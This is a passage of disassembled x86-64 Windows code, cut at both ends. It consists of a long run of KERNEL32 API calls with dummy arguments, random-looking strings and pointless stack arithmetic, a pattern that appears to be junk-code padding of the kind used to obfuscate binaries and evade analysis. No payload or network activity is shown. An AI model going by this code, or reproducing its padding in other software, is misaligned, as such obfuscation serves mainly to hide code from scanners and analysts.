sub eax, ecx
mov dword [rsp + 0x3ee0], eax
mov rax, qword [rsp + 0xc3d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d8], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x2b3]
sub eax, ecx
mov byte [rsp + 0x12d], al
movzx ecx, word [rsp + 0x16e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1470], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbdb0], rax
mov r9d, 1
lea r8, [rsp + 0xbdc0]
mov rdx, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5164], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb238], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xaa98]
mov eax, dword [rax]
mov dword [rsp + 0x5168], eax
mov rax, qword [rsp + 0xb500]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
sub eax, ecx
mov word [rsp + 0xfe8], ax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0xc558], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.dSBkcVYDEYnAHcQnu9H7lA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc560], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x214
mov r8d, 0x31d0
mov edx, 0xaf
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4808], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbab0], rax
movzx eax, word [rsp + 0xf98]
mov rcx, qword [rsp + 0xb538]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14022fbfc], ax
movzx eax, byte [rsp + 0x296]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2dd], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
lea rcx, str.38prmi5nYPv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x175c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb418], rax
mov rax, qword [rsp + 0x93b8]
mov rcx, qword [rsp + 0x9c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45fc], eax
movzx ecx, word [rsp + 0x1440]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x116c], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x206a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x516c], eax
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x87e0]
mov qword [rsp + 0xc568], rax
lea rcx, [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0x2ec9
mov r9d, 0x1bdc
mov r8d, 0x2074
mov edx, 0x1483
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a00], eax
mov dword [rsp + 0x235e0], 0x11c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc410], rax
lea rcx, [rsp + 0x8d40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x22500]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5170], eax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0xa598]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba10], rax
lea rax, [rsp + 0xaa4]
mov qword [rsp + 0xc570], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0xa638]
mov ecx, dword [rsp + 0x513c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xba30]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5174], eax
mov dword [rsp + 0x20], 0x1c57
mov r9d, 0x1852
mov r8d, 0x1e4e
mov edx, 0x14ad
mov rcx, qword [rsp + 0xb3d0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4808], eax
mov rcx, qword [rsp + 0xaba0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b]
add eax, ecx
mov byte [rsp + 0x197], al
movzx ecx, word [rsp + 0x10d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1760], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov qword [rsp + 0x20], 0
mov r9d, 0x22a0
mov r8d, 0xea1
mov edx, 0x83
mov rcx, qword [rsp + 0xaf18]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x5178], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xbe40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13e4]
or eax, ecx
mov word [rsp + 0xda8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [rsp + 0x46e8]
mov rcx, qword [rsp + 0xa2c8]
mov qword [rsp + 0xc578], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc578]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14024f350], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x22980]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x517c], eax
mov rcx, qword [rsp + 0xb568]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rdx, [rsp + 0xa178]
mov rcx, qword [rsp + 0xb938]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5180], eax
mov edx, 0xb30
mov rcx, qword [rsp + 0xb678]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4dac], eax
movzx ecx, word [rsp + 0x1280]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1764], ax
movzx ecx, word [rsp + 0x1560]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0xa468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0x94f8]
mov qword [rsp + 0xc580], rax
movzx ecx, word [rsp + 0x12e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1750], ax
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0x8960]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x89c8], rax
mov dword [rsp + 0x23700], 0x11c
lea rdx, [rsp + 0xa778]
mov rcx, qword [rsp + 0xad58]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e60], eax
lea rax, [rsp + 0x5cc]
mov qword [rsp + 0xc588], rax
xor r9d, r9d
lea r8, [rsp + 0x9ec8]
mov rdx, qword [rsp + 0xab28]
mov rcx, qword [rsp + 0xa970]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5184], eax
movsx eax, word [rsp + 0x138c]
imul eax, eax, 0x1c
mov word [rsp + 0x15cc], ax
mov rcx, qword [rsp + 0xbfb0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ad4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.vs7toPid6fsF4MQYn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc590], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xa8c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x29a], al
mov rax, qword [rsp + 0xb068]
mov ecx, dword [rsp + 0x4a30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4188], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movzx eax, byte [rsp + 0x2df]
mov rcx, qword [rsp + 0x9b40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa658]
mov byte [rcx], al
mov rax, qword [0x14024f1d0]
mov rcx, qword [rsp + 0xb4b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14024f308]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx ecx, word [rsp + 0x1688]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1768], ax
mov r9d, 0x11a0
xor r8d, r8d
lea rdx, [rsp + 0xbd18]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4f2c], eax
mov rax, qword [rsp + 0xa760]
mov rax, qword [rax]
mov qword [rsp + 0xc598], rax
mov rax, qword [rsp + 0xa650]
mov rcx, qword [rsp + 0xb8e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xb9b0]
mov eax, dword [rax]
mov dword [rsp + 0x4a40], eax
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x1264]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x176c], ax
lea rcx, [rsp + 0x1afa8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0xba58]
mov rcx, qword [rsp + 0xbff8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c08], eax
mov rax, qword [rsp + 0xb128]
movzx eax, word [rax]
mov word [rsp + 0x1770], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xb460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4f74], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xa1a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x250]
add eax, ecx
mov byte [rsp + 0x272], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1268], ax
lea rax, [rsp + 0x1614]
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0x9fa8]
mov rcx, qword [rsp + 0xb170]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fb8], eax
mov rcx, qword [rsp + 0xa960]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xabe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2f1], al
mov dword [rsp + 0x20], 0x24d4
mov r9d, 0x362d
mov r8d, 0x12fd
mov edx, 0x28c7
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4f24], eax
mov eax, dword [rsp + 0x5084]
mov dword [0x14024ef48], eax
mov rax, qword [rsp + 0xb230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movzx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0xc1d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov qword [rsp + 0xc5a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0x88d8]
mov rcx, qword [rsp + 0x8660]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
movsx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0xb2b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2f5], al
lea rax, [rsp + 0x1130]
mov qword [rsp + 0xc5b8], rax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb2e8]
mov qword [rsp + 0xc5c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4380], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, str.LKaxFy3i
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16e0], ax
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16a0]
sar eax, cl
mov word [rsp + 0x9fc], ax
lea rax, [rsp + 0x2b7]
mov qword [0x14024ef40], rax
xor edx, edx
mov rax, qword [rsp + 0x8298]
div qword [rsp + 0xad20]
mov qword [rsp + 0x87e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov eax, dword [rsp + 0x4c80]
mov dword [rsp + 0x5188], eax
lea rcx, str.QrBz_Js4_FbgqCTKm
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1774], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xa728]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbb50], rax
mov rax, qword [rsp + 0xb020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ad]
add eax, ecx
mov byte [rsp + 0x2cc], al
lea rax, [rsp + 0x5028]
mov qword [rsp + 0xc5c8], rax
mov dword [rsp + 0x20], 0x59f
mov r9d, 0x30ec
mov r8d, 0x2f3
mov edx, 0x342e
mov rcx, qword [rsp + 0xbed8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4f6c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc5d0], rax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9dc], ax
mov rax, qword [rsp + 0x9568]
movzx eax, byte [rax]
mov byte [rsp + 0x309], al
mov rax, qword [rsp + 0xa5c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa428]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9520]
mov word [rcx], ax
lea rcx, [rsp + 0xc3e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
movzx ecx, word [rsp + 0x1458]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1778], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [0x14024f330]
mov rcx, qword [rsp + 0xace0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fb9c], eax
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0x7ad0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7ed0], rax
lea rcx, [rsp + 0x1a648]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x46d4]
mov qword [rsp + 0xc5d8], rax
mov rax, qword [rsp + 0xb710]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb9c]
sub eax, ecx
mov rcx, qword [rsp + 0x9520]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1264]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc5e0], rax
movzx eax, byte [rsp + 0x1eb]
movzx ecx, byte [rsp + 0x2c7]
imul eax, ecx
mov byte [rsp + 0x17a], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0xc308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4478]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d30], eax
lea rax, [rsp + 0x10b8]
mov qword [rsp + 0xc5e8], rax
mov dword [rsp + 0x20], 0xb85
mov r9d, 0x2691
mov r8d, 0xb54
mov edx, 0x2faf
mov rcx, qword [rsp + 0xad58]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x5000], eax
xor edx, edx
mov rax, qword [rsp + 0xa128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9270]
div qword [rcx]
mov qword [rsp + 0x8a60], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc5f0], rax
lea rdx, [rsp + 0x9760]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4fec], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc5f8], rax
movzx ecx, word [rsp + 0x1674]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1458], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc600], rax
lea rax, [rsp + 0x48a8]
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xb3b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab18]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14024eff0]
mov word [rcx], ax
lea rcx, [rsp + 0x1aa98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x217]
movzx ecx, byte [rsp + 0x28d]
or eax, ecx
mov byte [rsp + 0x2ef], al
mov rcx, qword [rsp + 0xa0f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b08], eax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0xc610], rax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0x80c8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8120], rax
mov eax, dword [rsp + 0x41f0]
mov rcx, qword [rsp + 0xb158]
mov qword [rsp + 0xc618], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc618]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4878], eax
movzx eax, word [rsp + 0xf64]
mov word [rsp + 0x177c], ax
movsx eax, byte [rsp + 0x2fb]
movsx ecx, byte [rsp + 0x1b4]
sub eax, ecx
mov byte [rsp + 0x14b], al
movzx ecx, word [rsp + 0x1528]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1780], ax
movzx ecx, word [rsp + 0x11bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1274], ax
movzx eax, byte [rsp + 0x2af]
movzx ecx, byte [rsp + 0x282]
and eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0xbcc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50b0], eax
lea rcx, str.V739389a_7Bi9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1648], ax
lea rax, [rsp + 0x1088]
mov qword [0x14024ef38], rax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8788]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc580], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc600], rax
lea rcx, [rsp + 0x1b098]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3fa2
mov r9d, 0x3588
mov r8d, 0x146b3cec
mov edx, 1
mov rcx, qword [rsp + 0xbf18]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x518c], eax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x482c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0xb2d0]
mov rax, qword [rax]
mov qword [rsp + 0xc620], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb418], rax
mov rax, qword [0x14024f110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb968]
mov dword [rcx], eax
mov dword [rsp + 0x23820], 0x11c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbc38], rax
movzx ecx, word [rsp + 0x1074]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1018], ax
mov rcx, qword [rsp + 0xbf38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x87c]
mov qword [rsp + 0xc628], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x9cc0]
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cb8], eax
mov rcx, qword [rsp + 0x9818]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0xbee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f34], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1fda0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4844], eax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x233a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x5190], eax
mov rcx, qword [rsp + 0x96d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5194], eax
movzx ecx, word [rsp + 0xfa0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x114c], ax
mov dword [rsp + 0x20], 0x1768
mov r9d, 0xe29
mov r8d, 0x3957
mov edx, 0xdb6
mov rcx, qword [rsp + 0xc4a8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x5088], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0xb6a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc568]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x30a], al
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1704], ax
mov r9d, 2
lea r8, [rsp + 0x8ee0]
mov rdx, qword [rsp + 0xa388]
mov rcx, qword [rsp + 0xb2f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4994], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [0x14022fbac]
mov qword [0x14024ef30], rax
movzx eax, word [rsp + 0x1224]
movzx ecx, word [rsp + 0x11c8]
add eax, ecx
mov word [rsp + 0x7b8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0x2d2]
and eax, ecx
mov rcx, qword [rsp + 0xa658]
mov byte [rcx], al
mov rax, qword [0x14024f120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa750]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb180]
mov byte [rcx], al
mov eax, dword [rsp + 0x49b4]
mov dword [rsp + 0x5198], eax
movsx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaba8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4944], eax
movzx ecx, word [rsp + 0x13b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbe08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb6d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2e9], al
mov r9d, 1
lea r8, [rsp + 0xc010]
mov rdx, qword [rsp + 0xafd0]
mov rcx, qword [rsp + 0xb6b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x518c], eax
xor r8d, r8d
xor edx, edx
